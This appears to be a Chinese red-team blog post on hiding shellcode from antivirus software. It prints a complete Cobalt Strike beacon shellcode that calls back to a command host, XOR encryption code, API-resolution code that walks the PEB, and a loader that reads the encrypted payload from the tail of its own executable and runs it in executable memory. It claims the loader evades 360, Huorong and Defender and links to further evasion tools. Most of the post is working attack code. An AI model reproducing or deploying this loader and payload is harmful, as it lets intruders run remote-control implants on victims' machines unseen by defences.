本篇为红队渗透手册系列的第五篇,刚上车的同学可以先温习一下前四篇:
本文主要介绍shellcode免杀技术,通过网上相关文章的参考和自己的一点理解,现将免杀测试效果最好的方案分享给大家,供大家学习参考。(本文仅供参考学习,严禁用于其他用途,若造成不良影响的,由使用者本人承担一切后果。)
目前的反病毒安全软件,查杀方式有三种:1.基于特征,2.基于行为,3.基于云查杀。云查杀的特点基本也可以概括为特征查杀。无论是哪种防病毒软件,都是特别针对PE头文件进行查杀,当代码中的payload越大的时候,越容易被查杀出特征。
1. CobaltStrike生成shellcode.c
shellcode.c
/* length: 835 bytes */
unsigned char shellcode[] =
"xfcxe8x89x00x00x00x60x89xe5x31xd2x64x8bx52x30x8bx52x0cx8bx52x14x8bx72x28x0fxb7x4ax26x31xffx31xc0xacx3cx61x7cx02x2cx20xc1xcfx0dx01xc7"
"xe2xf0x52x57x8bx52x10x8bx42x3cx01xd0x8bx40x78x85xc0x74x4ax01xd0x50x8bx48x18x8bx58x20x01xd3xe3x3cx49x8bx34x8bx01xd6x31xffx31xc0xacxc1"
"xcfx0dx01xc7x38xe0x75xf4x03x7dxf8x3bx7dx24x75xe2x58x8bx58x24x01xd3x66x8bx0cx4bx8bx58x1cx01xd3x8bx04x8bx01xd0x89x44x24x24x5bx5bx61x59"
"x5ax51xffxe0x58x5fx5ax8bx12xebx86x5dx68x6ex65x74x00x68x77x69x6ex69x54x68x4cx77x26x07xffxd5xe8x00x00x00x00x31xffx57x57x57x57x57x68x3a"
"x56x79xa7xffxd5xe9xa4x00x00x00x5bx31xc9x51x51x6ax03x51x51x68xbbx01x00x00x53x50x68x57x89x9fxc6xffxd5x50xe9x8cx00x00x00x5bx31xd2x52x68"
"x00x32xc0x84x52x52x52x53x52x50x68xebx55x2ex3bxffxd5x89xc6x83xc3x50x68x80x33x00x00x89xe0x6ax04x50x6ax1fx56x68x75x46x9ex86xffxd5x5fx31"
"xffx57x57x6axffx53x56x68x2dx06x18x7bxffxd5x85xc0x0fx84xcax01x00x00x31xffx85xf6x74x04x89xf9xebx09x68xaaxc5xe2x5dxffxd5x89xc1x68x45x21"
"x5ex31xffxd5x31xffx57x6ax07x51x56x50x68xb7x57xe0x0bxffxd5xbfx00x2fx00x00x39xc7x75x07x58x50xe9x7bxffxffxffx31xffxe9x91x01x00x00xe9xc9"
"x01x00x00xe8x6fxffxffxffx2fx6ax71x75x65x72x79x2dx33x2ex33x2ex31x2ex73x6cx69x6dx2ex6dx69x6ex2ex6ax73x00xd8x96x4bx1exf7x00xc9x68xb1x17"
"xc1xf6x3fxaaxdax52xb1x04xddx6bxc0xaax03x65x86x62x73x32x0cx93x3dx3exedxecx4ax29xd9x0fxa3xf3x90x3ax6exeax18x47x90x41x93x9bx55xc5x11x00"
"x41x63x63x65x70x74x3ax20x74x65x78x74x2fx68x74x6dx6cx2cx61x70x70x6cx69x63x61x74x69x6fx6ex2fx78x68x74x6dx6cx2bx78x6dx6cx2cx61x70x70x6c"
"x69x63x61x74x69x6fx6ex2fx78x6dx6cx3bx71x3dx30x2ex39x2cx2ax2fx2ax3bx71x3dx30x2ex38x0dx0ax41x63x63x65x70x74x2dx4cx61x6ex67x75x61x67x65"
"x3ax20x65x6ex2dx55x53x2cx65x6ex3bx71x3dx30x2ex35x0dx0ax48x6fx73x74x3ax20x63x6fx64x65x2ex6ax71x75x65x72x79x2ex63x6fx6dx0dx0ax52x65x66"
"x65x72x65x72x3ax20x68x74x74x70x3ax2fx2fx63x6fx64x65x2ex6ax71x75x65x72x79x2ex63x6fx6dx2fx0dx0ax41x63x63x65x70x74x2dx45x6ex63x6fx64x69"
"x6ex67x3ax20x67x7ax69x70x2cx20x64x65x66x6cx61x74x65x0dx0ax55x73x65x72x2dx41x67x65x6ex74x3ax20x4dx6fx7ax69x6cx6cx61x2fx35x2ex30x20x28"
"x57x69x6ex64x6fx77x73x20x4ex54x20x36x2ex33x3bx20x54x72x69x64x65x6ex74x2fx37x2ex30x3bx20x72x76x3ax31x31x2ex30x29x20x6cx69x6bx65x20x47"
"x65x63x6bx6fx0dx0ax00x3cx55xe2xa3xeaxdexc7x0cxc6x47xc6xf5x0ex72x7bxccx99x68x10xd8x1cx47xcfxa2xb2xb5x46xe9x89xf4xd5xb2x00x68xf0xb5xa2"
"x56xffxd5x6ax40x68x00x10x00x00x68x00x00x40x00x57x68x58xa4x53xe5xffxd5x93xb9xafx0fx00x00x01xd9x51x53x89xe7x57x68x00x20x00x00x53x56x68"
"x12x96x89xe2xffxd5x85xc0x74xc6x8bx07x01xc3x85xc0x75xe5x58xc3xe8x89xfdxffxffx31x39x32x2ex31x36x38x2ex32x2ex31x34x32x00x6fxaax51xc3";
2. 对shellcode.c进行加密
void encrypt()
{
int size = sizeof(shellcode);
unsigned char encryptedShellcode[sizeof(shellcode)];
unsigned char key[] = "shuidisec";
printf("原始shellcode:rn");
for (int i = 0; i < size; i++)
{
printf("\x%0.2x", shellcode[i]);
}
printf("n");
//加密
int j = 0;
for (int i = 0; i < size; i++)
{
if (j == sizeof(key))
{
j = 0;
}
encryptedShellcode[i] = shellcode[i] ^ key[j];
j++;
}
//加密后数据
printf("加密后数据rn");
for (int i = 0; i < size; i++)
{
printf("\x%0.2x", encryptedShellcode[i]);
}
printf("n");
//解密
unsigned char decryptshellcode[sizeof(encryptedShellcode)];
j = 0;
for (int i = 0; i < size; i++)
{
if (j == sizeof(key))
{
j = 0;
}
decryptshellcode[i] = encryptedShellcode[i] ^ key[j];
j++;
}
//解密后数据
printf("解密后数据rn");
for (int i = 0; i < size; i++)
{
printf("\x%0.2x", decryptshellcode[i]);
}
printf("n");
}
3. 使用动态加载获取调用函数的地址(不啰嗦,直接引用他人代码,原理大家慢慢研究)
/*
获取kernel32.dll的基地址
因为vc程序main函数之前会有初始化,所以不能通过堆栈栈顶值获取kernel32.dll中的地址
因此通过 PEB 结构获取Kernel32.dll基址
部分代码来自看雪论坛
*/
#define PTCHAR char*
DWORD _getKernelBase()
{
DWORD dwPEB;
DWORD dwLDR;
DWORD dwInitList;
DWORD dwDllBase;//当前地址
PIMAGE_DOS_HEADER pImageDosHeader;//指向DOS头的指针
PIMAGE_NT_HEADERS pImageNtHeaders;//指向NT头的指针
DWORD dwVirtualAddress;//导出表偏移地址
PIMAGE_EXPORT_DIRECTORY pImageExportDirectory;//指向导出表的指针
PTCHAR lpName;//指向dll名字的指针
TCHAR szKernel32[] = TEXT("KERNEL32.dll");
__asm
{
mov eax, FS:[0x30]//获取PEB所在地址
mov dwPEB, eax
}
dwLDR = *(PDWORD)(dwPEB + 0xc);//获取PEB_LDR_DATA 结构指针
dwInitList = *(PDWORD)(dwLDR + 0x1c);//获取InInitializationOrderModuleList 链表头
//第一个LDR_MODULE节点InInitializationOrderModuleList成员的指针
for (;dwDllBase = *(PDWORD)(dwInitList + 8);//结构偏移0x8处存放模块基址
dwInitList = *(PDWORD)dwInitList//结构偏移0处存放下一模块结构的指针
)
{
pImageDosHeader = (PIMAGE_DOS_HEADER)dwDllBase;
pImageNtHeaders = (PIMAGE_NT_HEADERS)(dwDllBase + pImageDosHeader->e_lfanew);
dwVirtualAddress = pImageNtHeaders->OptionalHeader.DataDirectory[0].VirtualAddress;//导出表偏移
pImageExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(dwDllBase + dwVirtualAddress);//导出表地址
lpName = (PTCHAR)(dwDllBase + pImageExportDirectory->Name);//dll名字
if (strlen(lpName) == 0xc && !strcmp(lpName, szKernel32))//判断是否为“KERNEL32.dll”
{
return dwDllBase;
}
}
return 0;
}
/*
获取指定字符串的API函数的调用地址
入口参数:_hModule为动态链接库的基址
_lpApi为API函数名的首址
出口参数:eax为函数在虚拟地址空间中的真实地址
*/
DWORD _getApi(DWORD _hModule, PTCHAR _lpApi)
{
DWORD i;
DWORD dwLen;
PIMAGE_DOS_HEADER pImageDosHeader;//指向DOS头的指针
PIMAGE_NT_HEADERS pImageNtHeaders;//指向NT头的指针
DWORD dwVirtualAddress;//导出表偏移地址
PIMAGE_EXPORT_DIRECTORY pImageExportDirectory;//指向导出表的指针
TCHAR** lpAddressOfNames;
PWORD lpAddressOfNameOrdinals;//计算API字符串的长度
for (i = 0; _lpApi[i]; ++i);
dwLen = i;
pImageDosHeader = (PIMAGE_DOS_HEADER)_hModule;
pImageNtHeaders = (PIMAGE_NT_HEADERS)(_hModule + pImageDosHeader->e_lfanew);
dwVirtualAddress = pImageNtHeaders->OptionalHeader.DataDirectory[0].VirtualAddress;//导出表偏移
pImageExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(_hModule + dwVirtualAddress);//导出表地址
lpAddressOfNames = (TCHAR**)(_hModule + pImageExportDirectory->AddressOfNames);//按名字导出函数列表
for (i = 0; _hModule + lpAddressOfNames[i]; ++i)
{
if (strlen(_hModule + lpAddressOfNames[i]) == dwLen &&
!strcmp(_hModule + lpAddressOfNames[i], _lpApi))//判断是否为_lpApi
{
lpAddressOfNameOrdinals = (PWORD)(_hModule + pImageExportDirectory->AddressOfNameOrdinals);//按名字导出函数索引列表
return _hModule + ((PDWORD)(_hModule + pImageExportDirectory->AddressOfFunctions))
[lpAddressOfNameOrdinals[i]];//根据函数索引找到函数地址
}
}
return 0;
}
4. 编译shellcode加载运行程序(重点方式二)
-
当把encryptedShellcode放在源码中,按照正常流程:解密->动态加载并执行shellcode方式进行编译后,在真实环境测试下,虽能通过360、火绒、安全管家查杀,但无法通过defender查杀。(篇幅问题,这种情况不再展示,而且下面给大家整理的参考文章中有相关内容,大家自行测试)
-
在编译程序时,通过从文件固定位置读取encryptedShellcode到内存再进行处理,达到绕过defender查杀。
流程如下:
a. 根据encryptedShellcode的大小,编写main函数中的执行处理流程,并编译成ConsoleApplication2.exe可执行程序
b. 查看ConsoleApplication2.exe大小,定位到文件末尾偏移,修改代码中的fseek的文件偏移
c. 再次编译,文件末尾偏移不变,将encryptedShellcode复制到文件末尾
d. 执行,方可绕过defender查杀
实现代码:
int main(){
//encrypt();
//while (1);
unsigned char* encryptedShellcode = NULL;
unsigned char decryptedShellcode[0x344] = {0};
//从文件中读取加密后的shellcode
FILE * fp = fopen("./ConsoleApplication2.exe", "rb");
if (!fp)
{
perror("error ");
return 2;
}
int size = 0x344;//encryptedShellcode size
fseek(fp, 0x2A00, SEEK_SET);// 0x2A00 encryptedShellcode 在文件中的偏移位置
encryptedShellcode = (unsigned char *)malloc(0x344);
if (NULL == encryptedShellcode)
{
printf("malloc failed!n");
return 0;
}
int readcount = fread(encryptedShellcode, 1, size, fp);
for (int i = 0; i < size; i++)
{
printf("\x%0.2x", encryptedShellcode[i]);
}
fclose(fp);
printf("readcount : %p", readcount);
//解密shellcode
unsigned char key[] = "shuidisec";
int j = 0;
for (int i = 0; i < size; i++) {
if (j == sizeof(key))
{
j = 0;
}
decryptedShellcode[i] = encryptedShellcode[i] ^ key[j];
j++;
}
//解密后数据
printf("解密后数据rn");
for (int i = 0; i < size; i++)
{
printf("\x%0.2x", decryptedShellcode[i]);
}
//动态加载并执行shellcode
TCHAR szVirAlloc[] = TEXT("VirtualAlloc");
typedef LPVOID(WINAPI* VirtualAllocB)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
VirtualAllocB p = (VirtualAllocB)_getApi(_getKernelBase(), szVirAlloc);
char* a = (char*)(*p)(NULL, size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(a, decryptedShellcode, size);
(*(void(*)())a)();
return 0;
}
5. 效果展示
1. windows7 环境:过360、火绒、安全管家检测
2. windows10:过defender检测
6. virustotal 测试结果
7. 总结
对于shellcode免杀,方法不一,本文通过多种方式测试,最终给家展示本环境下测试效果最好的方式,此方法绕过了360、火绒、安全管家、defender等检查;本文参考借鉴了网上一些大佬的文章,也添加了自己的一些技巧,希望能给大家有所帮助。
下文为大家整理了一些资料,整理的可能不全面,不足之处请见谅。
1. 使用MSF生成shellcode,然后借助第三方工具直接加载内存,避免行为
推荐文:
shellcode加载总结:https://uknowsec.cn/posts/notes/shellcode加载总结.html
shellcode免杀总结:https://xz.aliyun.com/t/7170
shellcode加载工具:https://github.com/clinicallyinane/shellcode_launcher
shellcode编码工具:https://github.com/ecx86/shellcode_encoder
2. 分离免杀与加密混淆方式
分离免杀是将 shellcode 和 loader 分成两个不同的文件,或者 loader 是文件,shellcode 是流。
推荐文:
shellcode免杀:https://mp.weixin.qq.com/s/MpwpfSMxJl-1bACfXIWG9g
shellcode分离免杀:https://cuokon.github.io/2019/08/02/shellcode分离免杀/
加载混淆的shellcode实现静态免杀:https://saucer-man.com/operation_and_maintenance/465.html
相关工具:
https://github.com/1y0n/AV_Evasion_Tool
https://github.com/1y0n/AV_Evasion_Tool/releases
https://github.com/Mr-Un1k0d3r/DKMC
3. 敏感API替换方式
杀毒软件在进行查杀时,IAT 是查杀的一个重要依据。使用参数相近函数进行敏感函数替换。
4. 内联汇编方式
5. 动态加载方式
6. 注入方式
线程注入、DLL注入、反射DLL注入 RDI
7. Cobalt Strike免杀
cobalt strike:这个是在做红队渗透时用到的一款软件,具有团队协作和生成payload的工具。
利用python免杀cs shellcode:https://cloud.tencent.com/developer/article/1591312
从剖析CS木马生成到开发免杀工具:https://www.anquanke.com/post/id/210001
APT级的全面免杀与企业纵深防御体系的对抗:https://xz.aliyun.com/t/4191
Cobalt Strike C#免杀利用:http://60.205.229.37/2019/11/20/cobalt-strike-c免杀利用/
CS绕过杀软的过程:https://zhuanlan.zhihu.com/p/128884199
免杀工具:
https://www.cnblogs.com/k8gege/p/10261491.html
https://github.com/k8gege/K8tools/raw/master/K8_SC_ENCODE(CobaltStrike%20%26%20Metasploit%20Shellcode%E5%85%8D%E6%9D%80%E5%B7%A5%E5%85%B7).rar
8. msfvenom免杀
Venom和Veil、Shellter是三大老牌免杀工具,免杀主要依靠分离执行和加密混淆等技术,可以和msf无缝对接。
推荐文:
基础篇:https://www.secpulse.com/archives/123295.html
msfvenom隐藏的参数:https://www.secpulse.com/archives/123300.html
msf自带免杀(VT免杀率35/69):https://www.secpulse.com/archives/123315.html
Evasion模块(VT免杀率12/71):https://www.secpulse.com/archives/123339.html
Veil免杀(VT免杀率23/71):https://www.secpulse.com/archives/127186.html
Venom免杀:https://www.secpulse.com/archives/127297.html
Metasploit—msfvenom免杀木马:https://blkwindy.top/2019/07/26/Metasploit——msfvenom免杀木马/
后门木马免杀:https://www.cnblogs.com/-qing-/p/11421735.html
使用msfvenom与veil绕过杀毒软件:https://blog.csdn.net/wyf12138/article/details/79825833
Meterpreter免杀总结:http://carlstar.club/2019/01/04/dig/
9. 远控免杀专题
-
远控免杀专题-shellcode免杀实践
https://wemp.app/posts/f26015a3-1057-401e-8680-cbc5d37f977c
-
远控免杀从入门到实践(8)-shellcode免杀实践
https://www.freebuf.com/articles/system/228233.html
-
70.远控免杀专题(70)-终结篇
-
远控免杀从入门到实践-工具总结篇
-
Mimikatz的18种免杀姿势及防御策略
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论